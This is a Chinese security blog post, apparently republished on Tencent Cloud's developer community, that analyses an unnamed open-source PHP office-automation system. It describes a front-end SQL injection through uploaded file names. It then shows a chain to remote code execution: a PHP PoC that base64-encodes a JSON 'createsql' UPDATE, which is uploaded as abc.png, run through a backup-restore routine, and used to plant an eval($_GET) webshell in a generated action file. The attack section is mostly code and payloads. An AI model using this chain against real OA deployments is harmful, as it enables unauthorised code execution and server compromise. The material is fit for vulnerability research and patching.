前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >记一次某开源OA白名单后缀限制下巧用系统设计getshell

记一次某开源OA白名单后缀限制下巧用系统设计getshell

原创
作者头像
亿人安全
发布2025-02-26 17:26:25
发布2025-02-26 17:26:25
12400
代码可运行
举报
文章被收录于专栏:红蓝对抗红蓝对抗
运行总次数:0
代码可运行

 原文链接:https://forum.butian.net/share/4132

白名单后缀限制下巧用系统设计getshell

0x01 路由情况

该 OA 的 action 主要是在 webmain 目录下

图片
图片

然后通过请求参数中的 dma 定位到具体的 action 中的方法进行调到

如 d=systam&m=admin|admin&a=login 相当于调用 webmain/system/admin/adminAction.php#login

图片
图片

而所有的 action 都会继承 mainAction,当我们请求某个 action 时首先会调用父类 mainAction 的 __construct,进行初始化的一些操作

图片
图片

其中我们发现有关鉴权的处理被子类的 initAction 所实现,比如 apiAction 中

图片
图片

0x02 前台注入

2.1 代码分析

在查看 initAction 的实现时发现有个类实现该方法未存在鉴权

图片
图片

且其功能点说明是上传文件,我们着重看一下怎么个事

代码语言:javascript
代码运行次数:0
复制
public function xxxxAction()
{
    if(!$_FILES)exit('sorry!');
    $upimg  = c('upfile');
    $maxsize= (int)$this->get('maxsize', $upimg->getmaxzhao());//上传最大M
    $uptypes= 'jpg|png|docx|doc|pdf|xlsx|xls|zip|rar';
    $upimg->initupfile($uptypes, ''.UPDIR.'|'.date('Y-m').'', $maxsize);
    $upses  = $upimg->up('file');
    if(!is_array($upses))exit($upses);
    $arr    = c('down')->uploadback($upses);
    $arr['autoup'] = (getconfig('qcloudCos_autoup') || getconfig('alioss_autoup')) ? 1 : 0; //是否上传其他平台
    return $arr;
}

该方法主要是定义了白名单上传后缀 $uptypes,调用 up 方法进行上传后返回文件信息,然后调用 uploadback,跟进到其中

代码语言:javascript
代码运行次数:0
复制
public function uploadback($upses, $thumbnail='', $subo=true)
{
    $msg        = '';
    $data       = array();
    if(is_array($upses)){

        $fileext= substr($upses['fileext'],0,10);
        $arrs   = array(
            'adddt' => $this->rock->now,
            'valid' => 1,
            'filename'  => $this->replacefile($upses['oldfilename']),
            'web'       => $this->rock->web,
            'ip'        => $this->rock->ip,
            'mknum'     => $this->rock->get('sysmodenum'),
            //'mid'     => $this->rock->get('sysmid','0'),
            'fileext'   => $fileext,
            'filesize'  => (int)$this->rock->get('filesize', $upses['filesize']),
            'filesizecn'=> $upses['filesizecn'],
            'filepath'  => str_replace('../','',$upses['allfilename']),
            'optid'     => $this->adminid,
            'optname'   => $this->adminname,
            'comid'     => m('admin')->getcompanyid(),
        );
        $arrs['filetype'] = m('file')->getmime($fileext);

        //判断是不是需要压缩jpg和jpeg
        ...

        $bo = $this->db->record('[Q]file',$arrs);
        if(!$bo)$this->reutnmsg($this->db->error());

        $id = $this->db->insert_id();   

}

该方法主要是通过之前 up 方法上传文件返回的数组 $upses 和全局配置信息构造 $arrs,然后调用 $this->db->record 方法操作 $arrs

来到 record 方法

代码语言:javascript
代码运行次数:0
复制
public function record($table,$array,$where='')
{
    $addbool    = true;
    if(!$this->isempt($where))$addbool=false;
    $cont       = '';
    if(is_array($array)){
        foreach($array as $key=>$val){
            $cont.=",`$key`=".$this->toaddval($val)."";
        }
        $cont   = substr($cont,1);
    }else{
        $cont   = $array;
    }
    $table = $this->gettables($table);
    if($addbool){
        $sql="insert into $table set $cont";
    }else{
        $where = $this->getwhere($where);
        $sql="update $table set $cont where $where";
    }
    return $this->tranbegin($sql);
}

这里就直接操作 $array 为 key=value 格式然后逗号拼接后带入到 SQL 语句中执行

控制了$array 中的内容就能实现 SQL 注入,而其中filenamefilepathfiletype等这几个键的内容是通过上传文件获取到的,那我们对上传文件名做文章是不是就可以造成 sql 注入呢。

代码语言:javascript
代码运行次数:0
复制
public function up($name,$cfile='')
{
    if(!$_FILES)return 'sorry!';
    $file_name      = $_FILES[$name]['name'];
    $file_size      = $_FILES[$name]['size'];//字节
    $file_type      = $_FILES[$name]['type'];
    $file_error     = $_FILES[$name]['error'];
    $file_tmp_name  = $_FILES[$name]['tmp_name'];
    $zongmax        = $this->getmaxupsize();    
    if($file_size<=0 || $file_size > $zongmax){
        return '文件为0字节/超过'.$this->formatsize($zongmax).',不能上传';
    }
    ...
        return array(
            'newfilename' => $file_newname,
            'oldfilename' => $file_name,
            'filesize'    => $file_size,
            'filesizecn'  => $file_sizecn,
            'filetype'    => $file_type,
            'filepath'    => $save_path,
            'fileext'     => $file_ext,
            'allfilename' => $allfilename,
            'picw'        => $picw,
            'pich'        => $pich
        );
    }else{
        return '上传失败:'.$this->geterrmsg($file_error).'';
    }
}

通过 up 方法的返回值构造可以看到 oldname 其实就是上传文件的文件名,这也证实我们的想法。

2.2 漏洞复现

图片
图片

0x03 扩大危害 RCE

3.1 漏洞点

该 cms 自己实现了写入文件接口,我们查看其用法中写入

图片
图片

通过这么多处调用我们发现有一处调用会写入 php 中

代码语言:javascript
代码运行次数:0
复制
$apaths = ''.P.'xxxx/mode_'.$modenum.'Action.php';
$apath = ''.ROOT_PATH.'/'.$apaths.'';
if(!file_exists($apath)){
    $stra = '<?php
    /**
    *   此文件是【'.$modenum.'.'.$rs['name'].'】。
    */ 
    ....
    ';
    $this->rock->createtxt($apaths, $stra);

}

要是我们能控制 $modenum 或是 $rs['name'] 的内容就可以 getshell,不过 $modenum 同时也控制了文件名所以我们只能通过控制 $rs['name'] 来 getshell。

代码语言:javascript
代码运行次数:0
复制
$setid  = (int)$this->get('setid','0');

$rs     = m('flow_set')->getone("`id`='$setid'");
if(!$rs)exit('sorry!');
$rs['xxx'] = count(explode(',', (string)$rs['tables']));

$modenum    = $rs['num'];

而 $rs 数组是由 flow_set 数据库获取到的,

图片
图片

下面是 flow_se 默认的数据信息,要是我们可以插入或者修改数据就可以。

3.2 寻找漏洞触发点

根据常规思路我们只要寻找有插入 flow_set 表的方法即可。还真被我找到一个

代码语言:javascript
代码运行次数:0
复制
public function xxxAction()
{
    $name       = $this->rock->xssrepstr($this->post('name'));
    $fields     = c('pingyin')->get($name,1);
    ..
    $num        = 'zz'.$fields.'';

    $id         = 0;
    $uarr['name'] = $name;
    $uarr['num']  = $num;
    $uarr['table']  = $num;

    ...
    $id = m('flow_set')->insert($uarr);

构造 poc,闭合前面写入文件时的注释为

代码语言:javascript
代码运行次数:0
复制
*/eval($_GET['a']);/*

实际发现在 $this->rock->xssrepstr 中对特殊字符做了处理

代码语言:javascript
代码运行次数:0
复制
public function xssrepstr($str)
{
    $xpd  = explode(',','(,), , ,<,>,\\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;\'');
    $xpd[]= "\n";
    return str_ireplace($xpd, '', $str);
}

括号之类的都被过滤点了,这个利用点看来无法利用了,那我们只能再找找有没有可以执行 SQL 语句且传参会不进行过滤的点。

通过在 web 目录下查找系统重写的 sql 执行方法 query,在某处方法中找到疑似执行任意 sql 语句的方法

代码语言:javascript
代码运行次数:0
复制
if(getconfig('systype')=='demo')exit();
if($this->adminid!=1)return '只有ID=1的管理员才可以用';
$folder = $this->post('folder');
$sida   = explode(',', $this->post('sid'));
$alltabls   = $this->db->getalltable();
$shul   = 0;
$tablss = '';
foreach($sida as $id){
    $ids    = substr($id,0,-5);
    $ida    = explode('_', $ids);
    $len    = count($ida);
    $fieldshu = $ida[$len-2];
    $total  = $ida[$len-1];
    $tab    = str_replace('_'.$fieldshu.'_'.$total.'.json','', $id); //表

    $filepath = ''.UPDIR.'/data/'.$folder.'/'.$id.'';
    if(!file_exists($filepath))continue;

    $data     = m('beifen')->getbfdata('',$filepath);
    if(!$data)continue;
    $dataarr    = $data[$tab];
    //表不存在
    if(!in_array($tab, $alltabls)){
        $createsql = arrvalue($dataarr, 'createsql');
        if($createsql){
            $this->db->query($createsql, false);
        }else{
            continue;
        }
    }

在该方法中通过处理传入的 sid,获取 table 名,如果 table 名不在数据库所有表名中时,会获取某个目录下 $sid 名的文件内容作为数组并取得 createsql 的内容进行 sql 语句执行。

那么就是说如果 sid 可控文件内容,同时 sid 不在表内那么我们就能构造修改 flow_set 数据的 sql,而且目录 folder 也是可控的,似乎离成功近在咫尺了,我们找找有没有方法可以写入文件。

在用上面方法寻找文件写入的方法是我们发现好多文件名都是带了随机数,这不太好控制其位置,所以我们要找一个文件名不带随机数的写入点。

比如下面这个

代码语言:javascript
代码运行次数:0
复制
public function savetopdfAjax()
{
    $imgbase64 = $this->post('imgbase64');
    if(isempt($imgbase64))return returnerror('无数据');
    $path = ''.UPDIR.'/logs/'.date('Y-m').'/abc.png';
    $bo = $this->rock->createtxt($path, base64_decode($imgbase64));
    if(!$bo)return returnerror(''.UPDIR.'目录无写入权限');

    $pa1 = ''.ROOT_PATH.'/include/fpdf/fpdf.php';
    if(!file_exists($pa1))return returnerror('没有安装fpdf插件');
    include_once($pa1);

    $fpdf = new FPDF();
    $fpdf->AddPage();
    $fpdf->Image($path,0,0);

    $fpdf->Output('F',''.UPDIR.'/logs/'.date('Y-m').'/to.pdf');
    $this->showreturn('ok:'.$fpdf->GetPageHeight().'');
}

该方法首先是根据 imgbase64 上传一个 abc.png 文件,其次是一个 pdf 文件,因为默认没这个插件所以实际发包会报错,但不影响 abc.png 上传操作的执行。

于是构造文件内容的 poc 为

代码语言:javascript
代码运行次数:0
复制
<?php
    $arr = array(
        "abc.png" => array("createsql" => "update flow_set set name=\"*\/eval($_GET\['pwa'\]);\/*\"  where id=160;")
    );
    echo base64_encode(json_encode($arr));

第一层数组的键为文件名,为得是符合上面方法中 $dataarr= $data[$tab] 获取到我们后面数组 $tab 其实就是传入的文件名参数。第二层数组就是实际执行的 SQL 语句,其实 id 值是默认数据库中最后一行数据的 id 值。

此方法上传的文件位置为 upload/logs/2024-12/abc.png

3.3 漏洞复现

整个过程就是

  1. savetopdfAjax 上传内容为恶意 sql 语句的图片。
  2. 请求接口触发图片内容中的恶意 SQL 语句
  3. 将更新数据表后带有 payload 的 name 值写入到 php 文件中,成功实现 getshell。

首先上传图片

图片
图片
图片
图片

flow_set 表中默认的数据都是存在相应的 PHP 文件的,我们得新插入一条数据进行上述操作才能生成恶意的 php 文件。

图片
图片

我们用之前找到的插入 flow_set 数据的接口进行插入

此时数据表为

图片
图片

记住这个 id 和 num 的值,我们根据 id 值重新生成 abc.png 的内容,然后进行恶意 sql 更新

图片
图片
图片
图片

通过数据表可以看到成功修改了数据表中的内容,然后我们需要触发 php 文件的写入

图片
图片

找到 mode_zzmixnpgAction.php,可以看到成功写入

图片
图片

因为该文件在 web 目录下所以我们可以通过系统的路由方式来访问

图片
图片

可以看到成功执行代码。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 白名单后缀限制下巧用系统设计getshell
    • 0x01 路由情况
    • 0x02 前台注入
      • 2.1 代码分析
      • 2.2 漏洞复现
    • 0x03 扩大危害 RCE
      • 3.3 漏洞复现
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档